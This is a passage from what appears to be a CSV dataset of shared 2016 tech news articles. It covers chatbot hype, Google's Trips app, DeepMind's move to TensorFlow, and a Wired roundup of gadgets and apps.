1461940988,CONTENT SHARED,-3850335246895770347,-1443636648652872475,-7777675406803857155,,,,HTML,http://www.wired.com/2016/04/tech-behind-bots-isnt-good-enough-deliver-promise/,You're Asking Too Much of Chat Bots. Just Let Them Grow Up,"My editor doesn't like email. And that's probably the reason he's into the Google service that automatically generates replies to incoming messages. Smart Reply , as my editor will tell you, is pretty smart (It is!-Ed.) . Having analyzed millions of messages from across Google's Gmail service, it can guess how you might respond to a particular missive. That may sound impersonal, but it's useful. It lets you instantly reply to someone when you don't have time to open a laptop or even tap out a message on your smartphone. Some of these auto-replies, my editor swears, even sound like him. But one reason this works so well is that Google limits the scope of its tool. For each message, the service offers not just one reply but three, letting you choose the reply that best suits what you want to say, and these replies are typically just a few words long. Google's tool gives itself a margin for error. It works because it doesn't try to do too much. All this is worth remembering as we contemplate Silicon Valley's latest buzzword: Bots. ""Bots are the new apps,"" Microsoft CEO Satya Nadella announced at the end of March , during the company's big coder conference in San Francisco, and he was just saying what so many others are saying across the tech universe. Microsoft, Facebook, a host of startups , and an even larger gaggle of tech pundits are trumpeting the arrival of autonomous bots that can carry on conversations inside services like Slack and Skype and Facebook Messenger . The idea is that these bots will let you interact with businesses much like you trade text with friends and family, letting you do stuff much quicker than you could using a dozens of disparate smartphone apps. Some people call this "" conversational commerce ."" But there are limits to the conversation. Chatbots, you see, don't chat very well. Even those built atop the latest tech are limited in what they can understand and how well they can respond. For now, talking to a bot is like talking to, well, a machine. That makes conversational commerce feel like a false promise. But maybe the problem isn't the tech. Maybe it's the promise. ""I think we're going through a temporary hype era of 'bot BS' right now,"" says Navid Hadzaad. And he runs a bot company. Limiting the Conversation In recent years, deep neural networks have helped automate so many online tasks. They can recognize faces and objects in photos . They can recognize commands spoken into smartphones . They can improve Internet search results . And they've made significant progress in the area of natural language understanding, where machines work to understand the natural way we humans talk. This is what powers Google's Smart Reply service. And it works. But only up to a point. And that's telling. When it comes to automated conversation, deep neural networking is the best tech going. In other words, we're nowhere near the point where we can carry on a completely real conversation with a bot. So far, chatbots don't chat very well. That's pretty much the message delivered by David Marcus, who oversees Facebook Messenger and its bot engine, a way for coders to build bots that can, in theory, do all the stuff that's now handled by smartphone apps. ""Everybody wanted websites when the web was launched. And then everybody wanted apps. This is the start of a new era,"" Marcus says , before pointing out that the first apps were ""kind of crappy."" The implication is that bots will experience similar growing pains on their own. Indeed, the Facebook bot engine doesn't even use deep learning. It uses less advanced technology provided by Wit.ai , an artificial intelligence platform Facebook acquired early last year. The hope may be, however, that this technology can help generate that kind of conversational data needed to train deep neural networks and push the state-of-the-art much further. A Whole Lotta Chatter Deep neural networks learn by analyzing enormous amounts of digital data. They can learn to recognize a cat by analyzing millions of cat photos. They can learn to understand the contents of an email by analyzing millions of email messages. And they can learn to chat by analyzing chats. But the data needed to drive ""conversational commerce"" is much harder to come by than cat photos. People don't typically interact with machines in this way. So, companies like Facebook must find other sources of data-or generate data on their own. Maybe we just want to get things done without having to do much talking at all. Marcus and company are already doing this with Facebook M, and experimental digital assistant , and they may hope to do so with the Messenger bot engine as well. But Facebook M employs more than just bots. It employs human assistants that work alongside the bots, and most of the data the system generates is related to how these humans respond to requests. It's unclear how much serious data you can generate with a chatbot that's kinda crappy. After all, how often will people use it if it doesn't really work? ""What kind of data are they really going to collect?"" says Eugenia Kuyda, the founder of Luka.ai, which builds chatbots using deep neural networks. ""People clicking on buttons. This is not really a dataset you can put into a neural network and train anything."" Keep It Simple The best anyone can hope for now are bots that excel at one specialized kind of conversation. A good example is Hadzaad's service, GoButler, built by a startup he runs in New York. GoButler uses deep neural nets, but only to tackle a relatively small problem. Through a chat interface, the service provides a way of booking airplane flights, which limits the chatter to very specific requests and responses. ""The technology is there-it works-if you restrain the use-case,"" Hadzaad says. Hazaad can't stand the term ""conversational commerce."" He doesn't even like ""chatbot."" If his employees utter these words, he says, they're required to drop some cash into an anti-buzzword jar. The chatbot movement driven by Microsoft and Facebook and so many others, he argues, should be less about conversing with bots atop our messaging services and more about just finding the best way-any way-to complete the task at hand without leaving these services. That's also what we heard last week from Dan Grover , a product manager for WeChat, the Chinese messaging service that's already facilitating various commerce tasks, including hailing cars, checking the weather, and browsing subway schedules. The success of WeChat's commerce engine, he says, isn't really about conversation. It's about finding a much simpler way for people to interact with businesses. ""Those that actually succeeded in bringing value to users were the ones that peeled back conventions of 'conversational,' he says. The Long Wait Yes, truly conversational bots will eventually arrive. Using deep neural nets, Google recently built a bot that discusses the meaning of life , and judging from the company's transcripts, it seems to work pretty well. But it's hard to know how long we'll have to wait for something like this to break out of the lab. As good as Google's chatbot seems, the company hasn't let anyone outside the company play with it. And training such bots relies on data that's harder to come by than you might think. Google used old movie dialogue. But maybe we can afford to wait. Maybe we just want to get things done without too much talking. ""Even if the technology is real, it's not the best consumer experience,"" Hadzaad says of conversations with business bots. ""Back-and-forth conversations are just inefficient and not natural. People want things as efficient as possible."" In other words, maybe the world doesn't need conversational commerce. It definitely doesn't need the hype.",en
1461942914,CONTENT SHARED,-605114438206384896,-1032019229384696495,-8209678712555882262,,,,HTML,http://techcrunch.com/2016/04/29/a-sneak-peek-at-googles-upcoming-travel-app-trips/,"A sneak peek at Google's upcoming travel app, Trips","News that Google would soon begin testing a new mobile travel application leaked out last week, and now we have more details, including screenshots, of what that app will look like. The app, called Trips, is being trialed with a small group of testers, and will allow users to keep track of past and upcoming trips, while also making recommendations about tourist destinations, restaurants, local transportation options, and more. Access to the Trips mobile app is only being made available to members of Google's Local Guides program. A revamp and rebranding of Google's prior City Experts effort, Local Guides launched last year as Google Maps' competitor to Yelp's Elites . As with Yelp, program members are offered a variety of rewards and benefits in exchange for writing business reviews, posting photos , and helping to fill in and correct Maps information . One of those benefits, as Google previously indicated, is early access to new Google products and features. This appears to be one example of that perk in action. According to the initial leak , Local Guides were invited to be among the first to try a new ""travel assistant app for Android and iPhone."" What's interesting about the new app is that it's able to pull in your trip information just by scanning your Gmail messages, similar to how Google's virtual assistant, Google Now, also works. That makes it slightly competitive with TripIt, which has the larger goal of helping to automate collection of your trips into a single interface, then provide useful services on top of that, like tracking points, getting flight alerts, setting reminders, changing seat selections, sharing trips with others, and more. However, in the case of the Google Trips app, it seems the focus is less on mimicking the somewhat utilitarian nature of most travel planners and companion apps, and more on the fun that comes with exploring a new destination. As an app built using Google Maps data, Trips lets you find things to do - both inside and outdoors - around your location. It also helps you manage reservations, find nearby food and drink, access a list of saved places, and plan how you'll get from one place to the next. For this reason, Trips would likely have more of an impact on local travel guide apps, instead of more comprehensive trip planners. This latter feature is found in the ""Getting Around' section, which offers details on the different options, including public transportation schedules for things like buses and trains, plus information on taxis and ride sharing services and more. Also useful is that Trips allows you to browse your saved trip information even when you're offline. The screenshots and details regarding the app were posted to the Dutch blog AndroidWorld, then picked up by 9to5Google . Much of what Trips offers can actually be found in Google Maps, thanks to the enhancements of that app over the years to offer more information than just maps and navigation. However, the Trips app puts this information into a standalone, native interface complete with a Material design and easy-to-use layout. While the app currently being tested is available on Android, Google had said that it would be available on iOS, as well. The company has not yet confirmed further details about the app or its launch plans at this time.",en
1461947993,CONTENT SHARED,-3820497466351868775,-1443636648652872475,-7777675406803857155,,,,HTML,http://googleresearch.blogspot.com.br/2016/04/deepmind-moves-to-tensorflow.html,DeepMind moves to TensorFlow,"At DeepMind , we conduct state-of-the-art research on a wide range of algorithms, from deep learning and reinforcement learning to systems neuroscience, towards the goal of building Artificial General Intelligence . A key factor in facilitating rapid progress is the software environment used for research. For nearly four years, the open source Torch7 machine learning library has served as our primary research platform, combining excellent flexibility with very fast runtime execution, enabling rapid prototyping. Our team has been proud to contribute to the open source project in capacities ranging from occasional bug fixes to being core maintainers of several crucial components. With Google's recent open source release of TensorFlow , we initiated a project to test its suitability for our research environment. Over the last six months, we have re-implemented more than a dozen different projects in TensorFlow to develop a deeper understanding of its potential use cases and the tradeoffs for research. Today we are excited to announce that DeepMind will start using TensorFlow for all our future research. We believe that TensorFlow will enable us to execute our ambitious research goals at much larger scale and an even faster pace, providing us with a unique opportunity to further accelerate our research programme. As one of the core contributors of Torch7, I have had the pleasure of working closely with an excellent community of developers and researchers, and it has been amazing to see all the great work that has been built on top of the platform and the impact this has had on the field. Torch7 is currently being used by Facebook, Twitter, and many start-ups and academic labs as well as DeepMind, and I'm proud of the significant contribution it has made to a large community in both research and industry. Our transition to TensorFlow represents a new chapter, and I feel very excited about the prospect of DeepMind contributing heavily to another great open source machine learning platform that everyone can use to advance the state-of-the-art.",en
1461954566,CONTENT SHARED,-4187268503708157132,-1443636648652872475,-7777675406803857155,,,,HTML,http://www.wired.com/2016/04/franz-messenger-app/,A Single App That'll Wrangle Your Millions of Messengers,"Way back in the Mesozoic Era of the Internet, which was approximately 2009, maintaining your status as an Internet Socialite required a deft understanding of a multi-faceted messaging ecosystem. You obviously had to be logged into AIM, with just the right away message that told your real friends you were still nearby (and you better not skimp on your buddy profile). But you couldn't ignore your MySpace IM or Yahoo Messenger, just in case your maybe-real Internet crushes wanted to chat. And you gotta keep up your nerd cred on IRC. Being popular was hard work! Franz is a free app that combines more than a dozen different messaging services into a single window. Now, though, technology has become more sophisticated and user-friendly. And as messaging has become a key component of how we do almost everything online, our interaction with chat is easy and understandable part of our everyday lives. Wait, no, that's wrong. It's the exact opposite. Messaging is more important, more powerful, and more versatile, and yet wrangling all of our constant conversations together is like herding cats. Except there are a thousand cats, and they're all rabid and loud and running in every direction as fast as they possibly can while meowing horribly offensive things about all the other cats and giving you really important work deadlines. It's not a pretty picture. Years ago, apps like Adium, Meebo, and Trillian quickly became a crucial part of every Internet Socialite's arsenal. All your accounts in one place, neatly organized, so you could remember who's who and what's where at all times. There's nothing like that now, and there really couldn't be; messaging apps are more than just text-sending protocols, they're entire platforms. Every platform is different, and there's no way to neatly combine them. The best we can hope for is to at least bring all those disparate things into one place, which is exactly what Franz does. Franz is a new-ish free app for Mac, Windows, and Linux, that combines more than a dozen different messaging services into a single window. When you open Franz, you can instantly be logged into Slack, WhatsApp, Facebook Messenger, Telegram, Skype, Hangouts, and more. The app itself is just a container-you're basically opening web views of all the apps, tabbed in a single lovely window. By combining them into one place, though, you get a single set of notifications for all your services. A little red ""1"" will show up next to anything with an unread message, so you know at a glance what's waiting for you. And best of all, you're not stuck switching between a dozen browser tabs or a folder full of apps. Even though you don't, it feels like you have just one messaging app. It's just Franz. Franz isn't a perfect, universal messaging solution. It's not Adium 2.0. But it's the closest thing we're probably ever going to get. As the messaging ecosystem metastasizes and becomes the universal interface for how we do everything, easy access to our many tools is much more realistic than trying to build a single Megazord Messenger that encompasses them all. And besides, this might be better anyway. You get Slack the way it's meant to be used, and with a single key command you're jumping into Facebook's most complete vision of Messenger. Until we get that universal messaging app that would make life so much easier, this is definitely the next best thing. If you bought a Sony or Sharp TV from the past couple of years and you have an iPhone, you've got yourself a new way to navigate your smartwares. At long last, Google's Android TV Remote app is now available in the iOS App Store. It replicates the functionality of the same app for Android , which has been available for years. The most useful function of the app is its double-duty microphone/keyboard feature The remote-control app for Android TV devices isn't all that full-featured-it's essentially just an app version of the plastic remote included with the Google Nexus Player . Regardless, it's a handy backup clicker or a back-from-the-dead use case for an old iPod Touch. You've got your D-pad for navigating menus. Got that home button right there, too. Back button? Check. Even has an icon on there for a-playin' and a-pausin', and you can turn the whole screen into a touchpad like some kind of weirdo. But the most useful function of the app is its double-duty microphone/keyboard feature. You can use your phone as a mouthpiece for Android TV's excellent voice search (hopefully Siri won't get jealous). The app one-ups the Nexus remote by letting you input text with your phone's touchscreen keyboard. Plus, it communicates to your TV or set-top device over Wi-Fi, so you don't need a line-of-sight connection. And yo, it's free. This week at the NAB Show , the annual trade show for people who make video content, virtual reality is going to be everywhere. Condition One , a startup-slash-studio that was earlier to VR filmmaking than most, is making one of the show's early announcements: a new VR camera called the Bison. This 360 rig is made for the kind of run-and-gun documentary shooting the company's known for. Or at least the closest you can get to that given the current state of VR tech. It won't be for sale, but it will be part of the company's toolkit as it continues to make VR movies-so if you want footage from the camera, you have to hire Condition One to shoot it. Here's the rundown on the camera itself: The Bison is named for the first thing Condition One founder Danfung Dennis shot with the initial prototype. It's comprised of 16 cameras, and all together they're capable of shooting full 360-degree video with full 3D audio. It'll produce 5.7K resolution video, at up to 48 frames per second, for up to two hours on one battery charge. It's made of a rugged aluminum, and has an intense cooling system to keep it running even in the hot sun. Even the tripod is made of carbon fiber, so you can't destroy this thing if you try. The camera's minimum focusing distance is two feet, which makes Dennis particularly proud. ""We've been really focused on creating presence in the near field,"" he says. ""To have subjects within your arm's reach, to have close subjects to you... You really feel presence."" The Bison falls somewhere in the middle of the VR camera field, such as it exists right now. There are solutions like HypeVR , which amounts to an impossibly expensive and cumbersome set of super-high-end RED cameras rigged together for VR. Google has Jump , GoPro has Odyssey , Facebook has Surround 360 . (Bison, by the way, is probably closer to Surround 360 than any other single product.) They're all big, expensive, and mostly made of a bunch of individual cameras stitched together. On the other side are the super-simple 360 cameras, like the Ricoh Theta . Those aren't pro cameras by any stretch. Condition One seems to intend the Bison to be sort of the DSLR for VR; it's more compact and easier to use, but absolutely capable of making something Oscar-worthy. Part of Condition One's journey has involved learning what works, and what doesn't, in virtual reality filmmaking. Before getting into VR, Dennis was a longtime war photographer, so he tends to like to run and gun. But moving around is not exactly a delightful viewing experience in VR-it's more likely to make you sick. So even if it were possible (and it really isn't), it wouldn't make a lot of sense to try and make a shoulder-mounted or hand-held VR camera. But the Bison's close, at only 12.5 pounds. More important, it's rugged enough to go the places you'll want to put it; Dennis has watched as bison, jaguars, and (in a less-frightening shoot) monarch butterflies inspected the camera while he watched from afar. The remote trigger works from a half-mile away, too, so you can keep yourself out of your spherical shot and still get the footage you need. As they worked, Dennis says, they found that the hardest part wasn't the shooting-it was the stitching. Taking a bunch of cameras, and putting all their images together in a way that looks right, is hard and intensive work. The best solutions will make everything seamless, literally and figuratively, and making their own hardware made it easier to build the necessary software too. Now they're trying to figure out what kinds of VR movies people want to watch. And where to put them so people can see them. And how to make money. Right now, in VR, if you solve one problem all you get is a hundred new ones to figure out. More than just about anything you own, your smartphone represents you. Your photos, your communications, your work, your leisure activities, your nudes, everything's in this one rectangular piece of metal and glass. You smartphone, therefore you are. Google is pushing the boundaries of what a case can do to and with your phone, and is obviously committed to a deep sense of personalization and identity with phones. As our phones come to contain our personalities, a good case becomes all the more important. Not only does it keep your phone from shattering on the sidewalk and taking all your memories and plans with it, it turns your phone into something that looks and feels more unique. More personal. More you. Google's taking the idea even further, introducing a new Live Case Creator tool that lets you turn a point on a map or a photo into a phone case you can slap on the back of your Nexus 6 , 6P , or 5X . You go to the creator website, and upload a photo or use the Google Maps interface to select a location. Then, position it on the case however you want, select among Google's many filters, which add color or transmogrify your photo into an abstract art piece. Confirm it, buy it, and Google prints and ships you a case of your very own. Maybe coolest of all, these Live Cases skin the wallpaper of your phone to match your new case. If you go with the map, you can turn your wallpaper into a similarly colored, moving map of where you are right now. If you choose a picture, you can make an album of other shots for your phone to style and switch between automatically. There's also a button on the back of each case that will launch your phone's camera (if you choose a photo case) or find you nearby places in Maps (if you pick a location). Google first hinted at plans like this when it worked with Skrillex on a handful of customized phone cases. Googlers say they were blown away by the response to that project, and that people wanted more. The company's pushing the boundaries of what a case can do to and with your phone, and is obviously committed to a deep sense of personalization and identity with phones. It's always been part of Google's vision for Android, right down to the tagline: be together. Not the same. Maybe before long picking a phone case won't be like choosing clothes from the rack, finding the garment that fits you most closely. It'll be more like making your own clothes, and getting it exactly right. If the rumors are correct, Apple is bringing back a smaller iPhone . This makes sense. There's no such thing as a one-size-fits-all smartphone or even a two-sizes-fit-all smartphone. Some people want a phone that fits in the pocket of their skinny jeans. Other people have larger-sized skinny jeans. A third group of slacks-wearing people want a phone the size of a skateboard deck. The same idea holds true for almost everything. Some people want big versions of things that are supposed to be small. Others want small versions of things that are supposed to be big. All of this is possible. On my desk right now, there's an oversized pencil, an undersized building, a miniature hockey player with a disproportionately large hockey stick, and a ""King Size"" Sharpie. Here is a photograph of these objects taken with my phone, which is the size of a skateboard deck: More often than not, things that aren't their appropriate size are whimsical and fun . On occasion, they're even thought-provoking. Examining an object that isn't normal-size lets you appreciate its form or design detached from its function. This will help you forget about taxes for a little while. Alas, acquiring miniature and oversized objects isn't as easy as walking into a store and heading to the ""giant"" or ""tiny"" section. Luckily, there are dedicated online outlets for each of these retail needs. For things that are smaller than normal size , perusing the digital aisles of Archie McPhee, Suck UK, and ThinkGeek is a good place to start. McPhee has items such as squirrel-size coffee cups and underpants , a functional miniature drum kit , and a tabletop ark of the covenant . Suck UK has you covered on the guitar-case lunchbox and planet-themed eraser fronts. ThinkGeek is the place to go if you want a miniature filing cabinet for your business cards or a tiny, functional Tesla coil . But those are all readymade products. If you want to create your own miniature projects, cruise by Mini Materials . It's like a Home Depot on the island of Blefuscu : miniature cinder blocks, shipping pallets, bricks, and two-by-fours. There are also tiny packets of concrete mix and minuscule buckets of mortar. For things that are larger than normal size , Archie McPhee is also a handy source, with things like giant googly eyes , a coffee cup that holds around two gallons , and a gigantic slice of toast you can sleep on. But again, if you want oversized stuff, it's best to go to an oversized-stuff specialist. GreatBigStuff.com is the titan of the market, offering mission-critical objects such as plus-size Whoopee Cushions , a flask that holds a gallon of whisky , a giant functional computer mouse , and a massive (and edible) Ferrero-Rocher candy . You can also buy a large stack of fake cash to use as a foot rest and an unlimited supply of oxygen for $1 . For things that are actual size , try all other stores. What if you could play a videogame with a banana? Or a drum machine with a burrito? MaKey MaKey lets you do exactly that-and more. MaKey Makey turns everyday objects into digital touchpads for your computer. Jay Silver and Eric Rosenbaum designed it while they were in grad school at MIT. Inspired by the maker movement, they wanted to create an open-ended way of getting people to think creatively about how kids interact with our increasingly networked world. The result is a clever kit that makes a controller of literally anything that conducts electricity. ""Makey Makey is a device for allowing people to plug the real world into their computers,"" said David Ten Have of JoyLabz, which produces the kit. ""We want people to be able to see the world as their construction kit. And basically the way MaKey MaKey works is that it pretends to be a USB keyboard."" Each kit comes with a circuit board-the heart of the kit-a set of alligator clips, and a USB cable that plugs into your computer. The USB provides power to the circuit board, and the alligator clips link the board to any object that conducts electricity. Turns out, a lot of things conduct electricity. Food. Plants. Play-Doh. Even you.""We were shooting for creating a product that had an incredibly low floor for participation, but an incredibly high ceiling for expression,"" said Ten Have. ""We're seeing things made as simple as a banana piano and as advanced as measuring tools for chemistry labs, for instance."" The possibilities seem endless. Kids can turn their art into an instrument. Connect the alligator clips to people's hands to make a human drum machine. People have transformed a trash can into a calculator and a slice of pizza into a game controller. Your garbage can is full of new controllers . Fresh air can be harder to come by than you might think. If you have pets or you live in a city or it's cold outside, you are almost certainly breathing air that is full of contaminants that can make you sick, and even trigger asthma and allergies. You can't do much about the air you breathe at work or on the train, but you can control the air inside your home. The problem is that most air purifiers are ugly, loud, and some even omit ozone-which can be a serious lung irritant. Airmega tackles all of those problems with the Smart Air Purifier , which is (reasonably) attractive, quiet, and doesn't spew toxins. It's also a smart appliance that's actually smart. The Airmega keeps you abreast of the air quality in your place, and an app (of course it's got an app) lets you know if the air's gotten funky while you're on the road. If so, simply activate it remotely and come home to fresh air. A handy automatic mode lets the purifier turn itself on whenever the air gets stale, and an eco-friendly mode shuts it off after 10 minutes. The machine has filters on two sides, so it inhales more bad air and exhales more good. This thing can renew the air in a 1,560 square foot space twice an hour. Airmega claims the carbon and HEPA filters remove 99.97 percent of the junk in the air, and the app (and a sensor on top of the device) tell you when it's time to change them. Airmega says they're good for a year. These things aren't cheap, though. The smaller model, the 300S, will cost $749 when it's available through Airmega and Amazon later this month. The larger 400S will run you $849. But then, how much are your lungs worth? A little over three years ago, the Popslate presented an intriguing idea: What if a case could turn the back of your phone into an E Ink display? Like a lot of first-generation, crowdsourced products, the original didn't quite live up to the promise. Popslate 2, though, looks like a very promising course correction. The original Popslate, which finally materialized last spring, worked as advertised. Its limitations, though, made it difficult to justify as an everyday case. It charged with a different cable than the iPhone 6 it was designed to fit, and at launch only displayed still images pushed from an app on the front of the phone. It eventually used IFTTT to prompt screen updates without manual intervention, but even that required a little bit more digital elbow grease-and a little less functionality-than might justify the added bulk and expense. Popslate 2 doesn't just promise to address these issues; it actively adds plenty of functionality as well. It's an evolution, not merely refinement. To start, Popslate 2 not only ditched microUSB for the Apple-preferred Lightning cable, the case itself provides a backup battery that can add up to nine hours of talk time (or four hours of browsing) to your iPhone. It manages to do so while still reducing the thickness versus the original Popslate by nearly half. The display itself has improved, as well. Still ""shatterproof,"" it's now 200 dpi versus the previous version's 115, and has a pleasant-looking curve to it. There's also an easy way to navigate the latest Popslate on the display itself. Three capacitive touch buttons at the bottom of the display let you switch between apps and scroll through content. More important than the hardware upgrades, though, are the software smarts Popslate has added. Rather than lean on static images and clumsy IFTTT integration, Popslate now pulls directly from a handful of useful apps to maintain a dynamic display. You still need to download and use the Popslate app to customize your black-and-white rear display, but your options have expanded. ""We are leveraging sources with APIs and pulling that content straight into the Popslate app,"" says co-founder Greg Moon. ""Planned integrations for launch are: NYT, Twitter, Accuweather, and Google Calendar. We are also putting together partnerships around sports and stocks, which likely will also be part of the launch."" Moon says the company determined what apps and areas to focus on based on people's IFTTT usage on the original Popslate. In addition to the news, weather, and social functions it has already has-and the sports and stocks to come-you can expect to see wearable and IoT data apps at some point as well. Popslate 2 also comes with a Wallet function that lets you display items with bar or QR codes, like boarding passes or concert tickets. That's not to say everything is perfect. While the ideal app might seem to be Kindle-reading E Ink beats reading on an LCD display any day-you won't find Amazon's e-reading software here. You can use Popslate 2 as an e-reader, but currently only through Project Gutenberg, a free e-book resource whose catalog features mostly public domain classics. While Moon wouldn't confirm if there were plans for Kindle down the road, he's confident that the e-book selection will expand. ""We are also in discussions with additional e-book providers,"" says Moon. ""Unfortunately we can't disclose the parties at present for confidentiality purposes. As a result, our e-book sources and supported formats (including EPUB) will expand substantially after launch."" The ""after launch"" part is the other small cause for concern. Like its forebear, Popslate 2 is a crowdfunded project. But while it's generally healthy to be skeptical of Indiegogo concepts, the fact that the Popslate team has already delivered once offers at least some confidence in the second generation. It's expected to ship this July, at a cost of $149 (or $69 for early backers). A second E Ink display isn't a new idea; a company called Yotaphone has even built one into the handset itself. But if Popslate 2 delivers the improvements it's promising, it will have made a pretty good product pretty great. Considering that the average smartphone user takes out their phone more than 220 times a day , you might want to invest in a nice case. Wood is generally prettier than plastic, and while there are a variety of wooden phone cases to choose from, most of them have some visible plastic or rubber that totally distracts from that outdoorsy vibe you're going for. Luckily, the Woodline case for iPhone 6 and 6s is made by Pad & Quill , has a 100 percent wooden exterior. OK, it's not all wood: Unless it was a quarter-inch thick, a totally wooden phone case would probably crack when dropped. The outer wooden shell is filled with Aramid fibers, the same stuff used on drumheads and jet engine enclosures. If you prefer keeping your phone in your pocket, the Woodline is ultra-thin so you can easily do so. Seriously: According to Pad & Quill, it's as thin as a dime, so it's definitely not going add any noticeable bulk. The cases are all handcrafted out of real wood, so each one looks different and is engraved by the carpenter who made it. The cases come in four different types of wood: American Cherry, Rosewood, Zebra, or American Walnut, so you can pick the grain that most suits your daily grind. The case is currently available for preorder and will begin shipping next week. Raspberry Pi, the computer that literally fits in the palm of your hand, isn't for everyone. It comes with circuitry exposed, without a case, input method, or, until now, much in the way of connectivity. With the addition of Wi-Fi and Bluetooth, though, Raspberry Pi 3 comes closer to a pocketable PC for everyone. The third generation of Raspberry Pi in its four years of existence, Raspberry Pi 3 integrates 802.11n Wi-Fi and Bluetooth 4.1. Previously, you had to employ some dongle magic to add that functionality. The only other big upgrade-there are, after all, only so many components to upgrade-is the processor. Where previously sat a 900MHz 32-bit, quad-core ARM Cortex-A7 CPU now sits a 1.2GHz 64-bit, quad-core ARM Cortex-A53 CPU. If those numbers mean nothing to you, just know that it's about 10x the performance of the original Raspberry Pi, and over 50 percent better than the previous iteration. Otherwise, the Pi remains largely the same. It's roughly the same size and shape as generations past, aside from some minor component shuffling to accommodate the antenna that allows for its newfound wireless connectivity. Most importantly, it's holding on to that $35 price. For the cost of a few decent deli sandwiches, you can still own a fully functional (and now, even more so) pint-sized computer. It's important, too, that Raspberry Pi keep building on its success. No shortage of micro-computer competitors have sprung up in the years since the original Pi's introduction, some of which, like the Arduino 101, have already either promised or delivered an advanced feature set. And for three or four times the price of a Pi 3, consumers can opt for a ""PC on a Stick"" dongle, like Lenovo's Ideacentre Stick or Intel's Compute Stick, that offers the convenience of a dongle form factor, and the ability to plug directly into a monitor. Nobody's done it better for longer, though, than the Raspberry Pi Foundation. It still takes a little bit of know-how to fit it into your life, but one of the best bargains in tech is even more so now. Today Oculus Rift unveiled three new VR-ready PCs that excited, ready-to-be-completely-immersed gamers can pre-order in one week. The new PC towers, from Dell, Alienware, and ASUS, are designed to handle the powerful new VR graphics, which take a massive amount of rendering power to bring games to life in your headset. To no one's surprise, they don't come cheap. Expect to pay between $1,000 and $2,500 for a Oculus Rift-ready PC-but if you were one of the enthusiasts that pre-ordered Rift, you may be eligible for a discount. And if you already own a super computer, there's a chance that it might already be Rift-friendly already. You can test with Oculus's compatibility tool , which you have to download so it can scan your system's current capabilities. A traditional 1080p game requires 124 million shaded pixels per second to render the visualizations. Oculus Rift's VR program needs about three times that rendering power. According to the company blog, a Rift runs at 2160x1200p on dual displays and requires somewhere in the range of 400 million shaded pixels per second. TL;DR, most computers are way too weak to run VR headsets. So what will people will be able to do with their new VR-ready PCs? Well considering Facebook acquired Oculus Rift for $2 billion dollars last year, and keeping in mind that the platform now counts over one billion users, the company is certainly poised to do big things. Oculus already boasts an impressive roster of immersive experiences, including porn , reading a book on a beach , or playing golf with robots . Keeping a journal is a pain in the ass. It's a scientifically-proven wonderful thing to do-to preserve your memories, explore your feelings, record the things you do and notice and care about-but it's a lot of work to sit down every day and get your Dear Diary on. Day One has always cleverly skirted that hassle by turning a journal entry into something more like a splits counter on a stopwatch. The app takes your location, motion data, and more, and turns it into a snapshot of your life at any time you choose. How you fill it out-or don't-with words, pictures, video, and whatever else, is then up to you. The app's been around for a few years for Mac and iPhone, but developer Bloom Built just released its first complete overhaul ever. The new Day One (insanely named Day One 2-yes, really) has a slicker design, a much bigger emphasis on photos, and a handful of new ways to filter your journal to see entries from a certain place or time or from a specific topic. You can even have multiple journals, in case you want to separate your obsessive cataloging of every book you read from your ""feelsy"" entries. The Mac app is a great browser for your old entries, and the iPhone app is well-tuned to make saving and creating those entries really easy. Just 3D-touch to start a new entry, snap or upload a photo, add a caption, and poof: You're a journaler. The app is also unusually good at giving you control over your privacy and data. You can set a passcode, and at any time export all your data to PDF or a plain text file. It's a lot more secure than hiding your journal underneath your mattress. Stomaching the price might be a little tough ($9.99 for the iPhone app, $39.99 for Mac, though if you buy right now it's half-off), but that's the hardest part. Everything else about keeping a journal will suddenly be a lot easier. More so than any kind of modern technology, digital cameras have pushed retro designs into the mainstream. Fujifilm , Nikon , Panasonic , and Olympus all have their own throwback shooters-and Leica has never really strayed from its timeless designs. It's not just a gimmick, either. In the world of photography, retro style is sensible: Unlike today's sleek, touchscreen-controlled phones and tablets, experienced photographers want to have all the knobs, buttons, and dials they need at their fingertips. The fetching Olympus PEN-F is the company's latest old-school camera, and it bears the same name and stylistic touches as Olympus' 35mm film SLR cameras from the early- to mid-1960s. While a tribute to a 35mm film camera would suggest the PEN-F has a full-frame sensor, that isn't the case. It's built around a Micro Four-Thirds sensor like the other cameras in the PEN series. This sensor's brand new, though. It's a 20-megapixel imager, bolstered by Olympus' excellent five-axis stabilization system. It also does the same cool things as Olympus' recent OMD series cameras. There's the ""Hi Res"" mode found in the OMD E-M5 Mark II , a tripod-optimized feature that moves the sensor around to capture a 50-megapixel shot. There's also the focus-bracketing feature found in the E-M5 II, E-M10, and E-M1. The PEN series usually bears lesser specs than Olympus' higher-end OMD lineup, but not this one. The PEN-F is basically an OMD-level camera in a throwback body. It captures continuous shots at a rate of up to 20fps, has a lightning-fast autofocus system, boasts shutter speeds up to 1/16,000 of a second, and shoots RAW. Video capture tops out 1080p at 60fps, although you're able to record time-lapse video in 4K at 5fps. For sure, the most compelling thing about this camera is its body. There's a distinct dial on the front that lets you toggle between monochrome, color, and filter effects. Up top, machined aluminum dials handle mode selections, shutter, and exposure compensation, while a heavy-duty scroll wheel on the back lets you dial everything in. This is also the first PEN camera with an eye-level viewfinder; the others only have a live-view LCD screen. And it's no half-assed EVF, as its OLED display has 2.36 million dots of resolution. But there's still a 3-inch flip-and swivel touchscreen on board, and like most cameras these days, Wi-Fi connectivity is built in. Those OMD-level specs in a PEN body come with a price to match, and you'll have to wait about a month to start shooting with it. The PEN-F will be available in early March, priced at $1,200 for the body only. It's compatible with Micro Four-Thirds system lenses-which have a bigger-than-most crop factor of 2x. Your phone is disgusting. I'm sorry, but it's true. It's covered in germs and... well, and worse . It also stays dirty, because you never clean it, because doing so would ruin it. Tricky situation! Tricky and gross. It's something that the Kyocera Digno Rafre looks to remedy. The Digno Rafre, available in Japan, has pretty basic specs for a smartphone; it starts at 16GB storage, has 2GB RAM, a 13MP rear and 2MP front-facing camera. It runs Android 5.1. None of that's enough to turn heads. For neat freaks, though, or those nonplussed by the thought of carrying around millions of bacteria in their pocket every day, it has one crucial advantage: you can wash it with soap. That's more impressive than it may sound. It's hard enough to find a waterproof smartphone today, and until now impossible to find one that can survive the rigors of a rigorous good scrubbing. In fact, even the Digno Rafre has its limits; Kyocera encourages the use of foam-based soap, rather than potentially injurious bars. Kyocera reportedly managed the feat by finding a better way to seal the device. The Digno Rafre's display also works when wet, meaning it may be the first handset targeted specifically at the bubble bath set. The phone's only available in Japan (for $467), and Kyocera has indicated they don't plan to sell it elsewhere. Until they change their minds-or someone else offers a washproof smartphone stateside-you can always opt for constantly wearing gloves, or obsessively washing your hands. Starting today, you can preorder the consumer version of the Gear VR headset 